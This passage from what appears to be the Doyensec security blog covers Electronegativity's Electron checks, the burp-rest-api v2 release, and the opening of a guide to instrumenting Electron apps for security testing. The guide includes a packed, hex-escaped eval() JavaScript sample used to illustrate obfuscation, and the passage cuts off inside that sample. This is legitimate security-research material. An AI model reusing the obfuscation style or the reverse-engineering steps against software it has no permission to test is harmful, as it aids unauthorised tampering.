<li><a href="https://github.com/doyensec/electronegativity/wiki/CUSTOM_ARGUMENTS_JS_CHECK">CUSTOM_ARGUMENTS_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/DANGEROUS_FUNCTIONS_JS_CHECK">DANGEROUS_FUNCTIONS_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/ELECTRON_VERSION_JSON_CHECK">ELECTRON_VERSION_JSON_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/EXPERIMENTAL_FEATURES_HTML_CHECK">EXPERIMENTAL_FEATURES_HTML_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/EXPERIMENTAL_FEATURES_JS_CHECK">EXPERIMENTAL_FEATURES_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/HTTP_RESOURCES_JS_CHECK">HTTP_RESOURCES_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/HTTP_RESOURCES_HTML_CHECK">HTTP_RESOURCES_HTML_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/INSECURE_CONTENT_HTML_CHECK">INSECURE_CONTENT_HTML_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/INSECURE_CONTENT_JS_CHECK">INSECURE_CONTENT_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/NODE_INTEGRATION_HTML_CHECK">NODE_INTEGRATION_HTML_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/NODE_INTEGRATION_ATTACH_EVENT_JS_CHECK">NODE_INTEGRATION_EVENT_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/NODE_INTEGRATION_JS_CHECK">NODE_INTEGRATION_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/OPEN_EXTERNAL_JS_CHECK">OPEN_EXTERNAL_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/PERMISSION_REQUEST_HANDLER_JS_CHECK">PERMISSION_REQUEST_HANDLER_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/PRELOAD_JS_CHECK">PRELOAD_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/PROTOCOL_HANDLER_JS_CHECK">PROTOCOL_HANDLER_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/SANDBOX_JS_CHECK">SANDBOX_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/WEB_SECURITY_HTML_CHECK">WEB_SECURITY_HTML_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/WEB_SECURITY_JS_CHECK">WEB_SECURITY_JS_CHECK</a></li>
</ol>
<p>Leveraging these 27 checks, Electronegativity is already capable of identifying many vulnerabilities in real-life applications. Going forward, we will keep improving the detection and updating the tool to keep pace with the fast-changing Electron framework. <strong>Start using <a href="https://github.com/doyensec/electronegativity">Electronegativity</a> today!</strong></p>
Introducing burp-rest-api v22018-11-05T00:00:00+01:00https://blog.doyensec.com/2018/11/05/burp-rest-api-v2<p>Since the first commit back in 2016, <a href="https://github.com/vmware/burp-rest-api/">burp-rest-api</a> has been the default tool for <em>BurpSuite-powered</em> web scanning automation. Many security professionals and organizations have relied on this extension to orchestrate the work of Burp Spider and Scanner.</p>
<p>Today, we’re proud to announce a new major release of the tool: <strong>burp-rest-api v2.0.1</strong></p>
<p>Starting in June 2018, Doyensec joined VMware in the development and support of the growing burp-rest-api community. After several years of experience in big tech companies and startups, we understand the need for security automation to improve efficacy and efficiency during software security activities. Unfortunately internal security tools are rarely open-sourced, and still, too many companies are reinventing the wheel. We believe that working together on foundational components, such as burp-rest-api, represents the future of security automation as it empowers companies of any size to build customized solutions.</p>
<p>After a few weeks of work, we cleaned up all the open issues and brought burp-rest-api to its next phase. In this blog post, we would like to summarize some of the improvements.</p>
<h3 id="releases">Releases</h3>
<p>You can now download the latest version of burp-rest-api from <a href="https://github.com/vmware/burp-rest-api/releases">https://github.com/vmware/burp-rest-api/releases</a> in a precompiled release build. While this may not sound like a big deal, it’s actually the result of a major change in the plugin bootstrap mechanism. Until now, burp-rest-api was strictly dependent on the original Burp Suite JAR to be compiled, hence we weren’t able to create stable releases due to licensing. By re-engineering the way burp-rest-api starts, it is now possible to build the extension without even having <em>burpsuite_pro.jar</em>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone git@github.com:vmware/burp-rest-api.git
cd burp-rest-api
./gradlew clean build
</code></pre></div></div>
<p>Once built, you can now execute Burp with the burp-rest-api extension using the following command:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">java</span> <span class="o">-</span><span class="n">jar</span> <span class="n">burp</span><span class="o">-</span><span class="n">rest</span><span class="o">-</span><span class="n">api</span><span class="o">-</span><span class="mf">2.0</span><span class="o">.</span><span class="mi">0</span><span class="o">.</span><span class="na">jar</span> <span class="o">--</span><span class="n">burp</span><span class="o">.</span><span class="na">jar</span><span class="o">=./</span><span class="n">lib</span><span class="o">/</span><span class="n">burpsuite_pro</span><span class="o">.</span><span class="na">jar</span>
</code></pre></div></div>
<h3 id="burp-extensions-and-bappstore">Burp Extensions and BAppStore</h3>
<p>Many users have asked for the ability to load additional extensions while running Burp with burp-rest-api. Thanks to a new bootstrap mechanism, burp-rest-api is loaded as a 2nd generation extension which makes it possible to load both custom and BAppStore extensions written in any of the supported programming languages.</p>
<p>Moreover, the tool allows loading extensions during application startup using the flag <code class="language-plaintext highlighter-rouge">--burp.ext=<filename.{jar,rb,py}></code>.</p>
<p>In order to implement this, we employed a classloading technique with a dummy entry point (<em>BurpExtender.java</em>) that loads the legacy Burp extension (<em>LegacyBurpExtension.java</em>) after the full Burp Suite has been loaded and launched (<em>BurpService.java</em>).</p>
<h3 id="bug-fixes-and-improvements">Bug Fixes and Improvements</h3>
<p>In this release, we have also focused our efforts on a massive issues house-cleaning:</p>
<ul>
<li>Better documentation and even a FAQs page</li>
<li>Burp Spider status API</li>
<li>Burp Configuration with configPath selection API</li>
<li>Enabled SpringBoot compression</li>
<li>Ability to customize the binding address:port for both Burp Proxy and burp-rest-api APIs via command line arguments</li>
<li>…and <a href="https://github.com/vmware/burp-rest-api/issues?q=is%3Aissue+is%3Aclosed">much more</a></li>
</ul>
<h3 id="help-us-shape-the-future-of-burp-rest-api">Help Us Shape The Future of burp-rest-api</h3>
<p>With the release of <a href="https://portswigger.net/blog/burp-suite-2-0-beta-now-available">Burp Suite Professional 2.0 (beta)</a>, Burp includes a <a href="https://portswigger.net/blog/burps-new-rest-api">native Rest API</a>.</p>
<p>While the current functionalities are very limited, this is certainly going to change.</p>
<blockquote>
<p>In the initial release, the REST API supports launching vulnerability scans and obtaining the results. Over time, additional functions will be added to the REST API.</p>
</blockquote>
<p>It’s great that Burp users will finally benefit from a native Rest API, however this new feature makes us wonder about the future for this project.</p>
<p>Let us know how burp-rest-api can still provide value, and which directions the project could take. Comment on this <a href="https://github.com/vmware/burp-rest-api/issues/75">Github Issue</a> or tweet to our <a href="https://twitter.com/doyensec">@Doyensec</a> account.</p>
<p>Thank you for the support,</p>
<p><a href="https://github.com/ikkisoft">Luca Carettoni</a> & <a href="https://github.com/thypon">Andrea Brancaleoni</a></p>
Instrumenting Electron Apps for Security Testing2018-07-19T00:00:00+02:00https://blog.doyensec.com/2018/07/19/instrumenting-electron-app<h3 id="instrumenting-electron-based-applications">Instrumenting Electron-based applications</h3>
<p>With the increasing popularity of the Electron Framework, we have created this post to summarize a few techniques which can be used to instrument an Electron-based application, change its behavior, and perform in-depth security assessments.</p>
<h3 id="electron-and-processes">Electron and processes</h3>
<p>The <a href="https://electronjs.org/">Electron Framework</a> is used to develop multi-platform desktop applications with nothing more than HTML, JavaScript and CSS. It has two core components: Node.js and the libchromiumcontent module from the Chromium project.</p>
<p>In Electron, the <strong>main process</strong> is the process that runs package.json’s main script. This component has access to Node.js primitives and is responsible for starting other processes. Chromium is used for displaying web pages, which are rendered in separate processes called <strong>renderer processes</strong>.</p>
<p>Unlike regular browsers where web pages run in a sandboxed environment and do not have access to native system resources, Electron renderers have access to Node.js primitives and allow lower level integration with the underlying operating system. Electron exposes full access to native Node.js APIs, but it also facilitates the use of external Node.js NPM modules.</p>
<p>As you might have guessed from recent public security vulnerabilities, the security implications are substantial since JavaScript code can access the filesystem, user shell, and many more primitives. The inherent security risks increase with the additional power granted to application code. For instance, displaying arbitrary content from untrusted sources inside a non-isolated renderer is a severe security risk. You can read more about Electron Security, hardening and vulnerabilities prevention in the official <a href="https://electronjs.org/docs/tutorial/security#checklist-security-recommendations">Security Recommendations</a> document.</p>
<h3 id="unpacking-the-asar-archive">Unpacking the ASAR archive</h3>
<p>The first thing to do to inspect the source code of an Electron-based application is to unpack the application bundle (<em>.asar</em> file). ASAR archives are a simple tar-like format that concatenates files into a single one.</p>
<p>First locate the main ASAR archive of our app, usually named <em>core.asar</em> or <em>app.asar</em>.</p>
<p>Once we have this file we can proceed with installing the asar utility:
<code class="language-plaintext highlighter-rouge">npm install -g asar</code></p>
<p>and extract the whole archive:
<code class="language-plaintext highlighter-rouge">asar extract core.asar destinationfolder</code></p>
<p>At its simplest version, an Electron application includes three files: <em>index.js</em>, <em>index.html</em> and <em>package.json</em>.</p>
<p>Our first target to inspect is the <em>package.json</em> file, as it holds the path of the file responsible for the “entry point” of our application:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Example App"</span><span class="p">,</span><span class="w">
</span><span class="nl">"description"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Core App"</span><span class="p">,</span><span class="w">
</span><span class="nl">"main"</span><span class="p">:</span><span class="w"> </span><span class="s2">"app/index.js"</span><span class="p">,</span><span class="w">
</span><span class="nl">"private"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>In our example the entry point is the file called <em>index.js</em> located within the <em>app</em> folder, which will be executed as the main process. If not specified, <em>index.js</em> is the default main file. The file <em>index.html</em> and other web resources are used in renderer processes to display actual content to the user. A new renderer process is created for every <em>browserWindow</em> instantiated in the main process.</p>
<p>In order to be able to follow functions and methods in our favorite IDE, it is recommended to resolve the dependencies of our app:</p>
<p><code class="language-plaintext highlighter-rouge">npm install</code></p>
<p>We should also install <a href="https://electronjs.org/devtron">Devtron</a>, a tool (built on top of the Chrome Developer Tools) to inspect, monitor and debug our Electron app. For Devtron to work, NodeIntegration must be on.</p>
<p><code class="language-plaintext highlighter-rouge">npm install --save-dev devtron</code></p>
<p>Then, run the following from the Console tab of the Developer Tools</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>require('devtron').install()
</code></pre></div></div>
<h3 id="dealing-with-obfuscated-javascript">Dealing with obfuscated javascript</h3>
<p>Whenever the application is neither minimized nor obfuscated, we can easily inspect the code.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="dl">'</span><span class="s1">use strict</span><span class="dl">'</span><span class="p">;</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">exports</span><span class="p">,</span> <span class="dl">"</span><span class="s2">__esModule</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span>
<span class="na">value</span><span class="p">:</span> <span class="kc">true</span>
<span class="p">});</span>
<span class="nx">exports</span><span class="p">.</span><span class="nx">startup</span> <span class="o">=</span> <span class="nx">startup</span><span class="p">;</span>
<span class="nx">exports</span><span class="p">.</span><span class="nx">handleSingleInstance</span> <span class="o">=</span> <span class="nx">handleSingleInstance</span><span class="p">;</span>
<span class="nx">exports</span><span class="p">.</span><span class="nx">setMainWindowVisible</span> <span class="o">=</span> <span class="nx">setMainWindowVisible</span><span class="p">;</span>
<span class="kd">var</span> <span class="nx">_require</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">electron</span><span class="dl">'</span><span class="p">),</span>
<span class="nx">Menu</span> <span class="o">=</span> <span class="nx">_require</span><span class="p">.</span><span class="nx">Menu</span><span class="p">;</span>
<span class="kd">var</span> <span class="nx">mainScreen</span> <span class="o">=</span> <span class="k">void</span> <span class="mi">0</span><span class="p">;</span>
<span class="kd">function</span> <span class="nx">startup</span><span class="p">(</span><span class="nx">bootstrapModules</span><span class="p">)</span> <span class="p">{</span>
<span class="p">[</span> <span class="o">--</span> <span class="nx">cut</span> <span class="o">--</span> <span class="p">]</span>
</code></pre></div></div>
<p>In case of obfuscation, there are no silver bullets to unfold heavily manipulated javascript code. In these situations, a combination of automatic tools and manual reverse engineering is required to get back to the original source.</p>
<p>Take this horrendous piece of JS as an example:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">eval</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">c</span><span class="p">,</span><span class="nx">d</span><span class="p">,</span><span class="nx">e</span><span class="p">,</span><span class="nx">f</span><span class="p">,</span><span class="nx">g</span><span class="p">,</span><span class="nx">h</span><span class="p">){</span><span class="nx">g</span><span class="o">=</span><span class="kd">function</span><span class="p">(</span><span class="nx">i</span><span class="p">){</span><span class="k">return</span><span class="p">(</span><span class="nx">i</span><span class="o"><</span><span class="nx">d</span><span class="p">?</span><span class="dl">''</span><span class="p">:</span><span class="nx">g</span><span class="p">(</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">i</span><span class="o">/</span><span class="nx">d</span><span class="p">)))</span><span class="o">+</span><span class="p">((</span><span class="nx">i</span><span class="o">=</span><span class="nx">i</span><span class="o">%</span><span class="nx">d</span><span class="p">)</span><span class="o">></span><span class="mh">0x23</span><span class="p">?</span><span class="nb">String</span><span class="p">[</span><span class="dl">'</span><span class="se">\</span><span class="s1">x66</span><span class="se">\</span><span class="s1">x72</span><span class="se">\</span><span class="s1">x6f</span><span class="se">\</span><span class="s1">x6d</span><span class="se">\</span><span class="s1">x43</span><span class="se">\</span><span class="s1">x68</span><span class="se">\</span><span class="s1">x61</span><span class="se">\</span><span class="s1">x72</span><span class="se">\</span><span class="s1">x43</span><span class="se">\</span><span class="s1">x6f</span><span class="se">\</span><span class="s1">x64</span><span class="se">\</span><span class="s1">x65</span><span class="dl">'</span><span class="p">](</span><span class="nx">i</span><span class="o">+</span><span class="mh">0x1d</span><span class="p">):</span><span class="nx">i</span><span class="p">[</span><span class="dl">'</span><span class="se">\</span><span class="s1">x74</span><span class="se">\</span><span class="s1">x6f</span><span class="se">\</span><span class="s1">x53</span><span class="se">\</span><span class="s1">x74</span><span class="se">\</span><span class="s1">x72</span><span class="se">\</span><span class="s1">x69</span><span class="se">\</span><span class="s1">x6e</span><span class="se">\</span><span class="s1">x67</span><span class="dl">'</span><span class="p">](</span><span class="mh">0x24</span><span class="p">));};</span><span class="k">while</span><span class="p">(</span><span class="nx">e</span><span class="o">--</span><span class="p">){</span><span class="k">if</span><span class="p">(</span><span class="nx">f</span><span class="p">[</span><span class="nx">e</span><span class="p">]){</span><span class="nx">c</span><span class="o">=</span><span class="nx">c</span><span class="p">[</span><span class="dl">'</span><span class="se">\</span><span class="s1">x72</span><span class="se">\</span><span class="s1">x65</span><span class="se">\</span><span class="s1">x70</span><span class="se">\</span><span class="s1">x6c</span><span class="se">\</span><span class="s1">x61</span><span class="se">\</span><span class="s1">x63</span><span class="se">\</span><span class="s1">x65</span><span class="dl">'</span><span class="p">](</span><span class="k">new</span> <span class="nb">RegExp</span><span class="p">(</span><span class="dl">'</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x62</span><span class="dl">'</span><span class="o">+</span><span class="nx">g</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span><span class="o">+</span><span class="dl">'</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x62</span><span class="dl">'</span><span class="p">,</span><span class="dl">'</span><span class="se">\</span><span class="s1">x67</span><span class="dl">'</span><span class="p">),</span><span class="nx">f</span><span class="p">[</span><span class="nx">e</span><span class="p">]);}}</span><span class="k">return</span> <span class="nx">c</span><span class="p">;}(</span><span class="dl">'</span><span class="se">\</span><span class="s1">x62</span><span class="se">\</span><span class="s1">x20</span><span class="se">\</span><span class="s1">x35</span><span class="se">\</span><span class="s1">x3d</span><span class="se">\</span><span class="s1">x5b</span><span class="se">\</span><span class="s1">x22</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x6f</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x38</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x70</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x73</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x34</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x63</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x63</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x37</span><span class="se">\</span><span class="s1">x22</span><span class="se">\</span><span class="s1">x2c</span><span class="se">\</span><span class="s1">x22</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x72</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x34</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x64</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x74</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x37</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x67</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x6d</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x64</span><span class="se">\</span><span class="s1">x22</span><span class="se">\</span><span class="s1">x2c</span><span class="se">\</span><span class="s1">x22</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x75</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x34</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x66</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x66</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x38</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x71</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x34</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x36</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x6c</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x36</span><span class="se">\</span><span class="s1">x22</span><span class="se">\</span><span class="s1">x2c</span><span class="se">\</span><span class="s1">x22</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x6e</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x37</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x67</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x36</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x38</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x77</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x34</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x36</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x42</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x34</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x63</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x43</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x37</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x76</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x34</span><span class="se">\</span><span class="s1">x5c</span><span class="se">\</span><span class="s1">x41</span><span class="se">\</span><span class="s1">x22</span><span class="se">\</span><span class="s1">x5d</span><span class="se">\</span><span class="s1">x3b</span><span class="se">\</span><span class="s1">x39</span><span class="se">\</span><span class="s1">x20</span><span class="se">\</span><span class="s1">x6b</span><span class="se">\</span><span class="s1">x28</span><span class="se">\</span><span class="s1">x65</span><span class="se">\</span><span class="s1">x29</span><span class="se">\</span><span class="s1">x7b</span><span class="se">\</span><span class="s1">x62</span><span class="se">\</span><span class="s1">x20</span><span class="se">\</span><span class="s1">x61</span><span class="se">\</span><span class="s1">x3d</span><span class="se">\</span><span class="s1">x30</span><span class="se">\</span><span class="s1">x3b</span><span class="se">\</span><span class="s1">x6a</span><span class="se">\</span><span class="s1">x5b</span><span class="se">\</span><span class="s1">x35</span><span class="se">\</span><span class="s1">x5b</span><span class="se">\</span><span class="s1">x30</span><span class="se">\</span><span class="s1">x5d</span><span class="se">\</span><span class="s1">x5d</span><span class="se">\</span><span class="s1">x3d</span><span class="se">\</span><span class="s1">x39</span><span class="se">\</span><span class="s1">x28</span><span class="se">\</span><span class="s1">x68</span><span class="se">\</span><span class="s1">x29</span><span class="se">\</span><span class="s1">x7b</span><span class="se">\</span><span class="s1">x61</span><span class="se">\</span><span class="s1">x2b</span><span class="se">\</span><span class="s1">x2b</span><span class="se">\</span><span class="s1">x3b</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x28</span><span class="se">\</span><span class="s1">x65</span><span class="se">\</span><span class="s1">x2b</span><span class="se">\</span><span class="s1">x68</span><span class="se">\</span><span class="s1">x29</span><span class="se">\</span><span class="s1">x7d</span><span class="se">\</span><span class="s1">x3b</span><span class="se">\</span><span class="s1">x6a</span><span class="se">\</span><span class="s1">x5b</span><span class="se">\</span><span class="s1">x35</span><span class="se">\</span><span class="s1">x5b</span><span class="se">\</span><span class="s1">x31</span><span class="se">\</span><span class="s1">x5d</span><span class="se">\</span><span class="s1">x5d</span><span class="se">\</span><span class="s1">x3d</span><span class="se">\</span><span class="s1">x39</span><span class="se">\</span><span class="s1">x28</span><span class="se">\</span><span class="s1">x29</span><span class="se">\</span><span class="s1">x7b</span><span class="se">\</span><span class="s1">x79</span><span class="se">\</span><span class="s1">x20</span><span class="se">\</span><span class="s1">x61</span><span class="se">\</span><span class="s1">x7d</span><span class="se">\</span><span class="s1">x7d</span><span class="se">\</span><span class="s1">x62</span><span class="se">\</span><span class="s1">x20</span><span class="se">\</span><span class="s1">x69</span><span class="se">\</span><span class="s1">x3d</span><span class="se">\</span><span class="s1">x7a</span><span class="se">\</span><span class="s1">x20</span><span class="se">\</span><span class="s1">x6b</span><span class="se">\</span><span class="s1">x28</span><span class="se">\</span><span class="s1">x35</span><span class="se">\</span><span class="s1">x5b</span><span class="se">\</span><span class="s1">x32</span><span class="se">\</span><span class="s1">x5d</span><span class="se">\</span><span class="s1">x29</span><span class="se">\</span><span class="s1">x3b</span><span class="se">\</span><span class="s1">x69</span><span class="se">\</span><span class="s1">x2e</span><span class="se">\</span><span class="s1">x44</span><span class="se">\</span><span class="s1">x28</span><span class="se">\</span><span class="s1">x35</span><span class="se">\</span><span class="s1">x5b</span><span class="se">\</span><span class="s1">x33</span><span class="se">\</span><span class="s1">x5d</span><span class="se">\</span><span class="s1">x29</span><span class="dl">'</span><span class="p">,</span><span class="mh">0x28</span><span class="p">,</span><span class="mh">0x28</span><span class="p">,</span><span class="dl">'</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x36</span><span class="se">\</span><span class="s1">x35</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x5f</span><span class="se">\</span><span class="s1">x30</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x32</span><span class="se">\</span><span class="s1">x30</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x36</span><span class="se">\</span><span class="s1">x46</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x36</span><span class="se">\</span><span class="s1">x31</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x66</span><span class="se">\</span><span class="s1">x75</span><span class="se">\</span><span class="s1">x6e</span><span class="se">\</span><span class="s1">x63</span><span class="se">\</span><span class="s1">x74</span><span class="se">\</span><span class="s1">x69</span><span class="se">\</span><span class="s1">x6f</span><span class="se">\</span><span class="s1">x6e</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x5f</span><span class="se">\</span><span class="s1">x31</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x76</span><span class="se">\</span><span class="s1">x61</span><span class="se">\</span><span class="s1">x72</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x36</span><span class="se">\</span><span class="s1">x43</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x37</span><span class="se">\</span><span class="s1">x34</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x5f</span><span class="se">\</span><span class="s1">x32</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x37</span><span class="se">\</span><span class="s1">x33</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x37</span><span class="se">\</span><span class="s1">x35</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x5f</span><span class="se">\</span><span class="s1">x33</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x6f</span><span class="se">\</span><span class="s1">x62</span><span class="se">\</span><span class="s1">x6a</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x74</span><span class="se">\</span><span class="s1">x68</span><span class="se">\</span><span class="s1">x69</span><span class="se">\</span><span class="s1">x73</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x4e</span><span class="se">\</span><span class="s1">x65</span><span class="se">\</span><span class="s1">x77</span><span class="se">\</span><span class="s1">x4f</span><span class="se">\</span><span class="s1">x62</span><span class="se">\</span><span class="s1">x6a</span><span class="se">\</span><span class="s1">x65</span><span class="se">\</span><span class="s1">x63</span><span class="se">\</span><span class="s1">x74</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x33</span><span class="se">\</span><span class="s1">x41</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x36</span><span class="se">\</span><span class="s1">x45</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x35</span><span class="se">\</span><span class="s1">x39</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x35</span><span class="se">\</span><span class="s1">x33</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x37</span><span class="se">\</span><span class="s1">x39</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x36</span><span class="se">\</span><span class="s1">x37</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x34</span><span class="se">\</span><span class="s1">x37</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x34</span><span class="se">\</span><span class="s1">x38</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x34</span><span class="se">\</span><span class="s1">x33</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x34</span><span class="se">\</span><span class="s1">x44</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x36</span><span class="se">\</span><span class="s1">x44</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x37</span><span class="se">\</span><span class="s1">x32</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x61</span><span class="se">\</span><span class="s1">x6c</span><span class="se">\</span><span class="s1">x65</span><span class="se">\</span><span class="s1">x72</span><span class="se">\</span><span class="s1">x74</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x72</span><span class="se">\</span><span class="s1">x65</span><span class="se">\</span><span class="s1">x74</span><span class="se">\</span><span class="s1">x75</span><span class="se">\</span><span class="s1">x72</span><span class="se">\</span><span class="s1">x6e</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x6e</span><span class="se">\</span><span class="s1">x65</span><span class="se">\</span><span class="s1">x77</span><span class="se">\</span><span 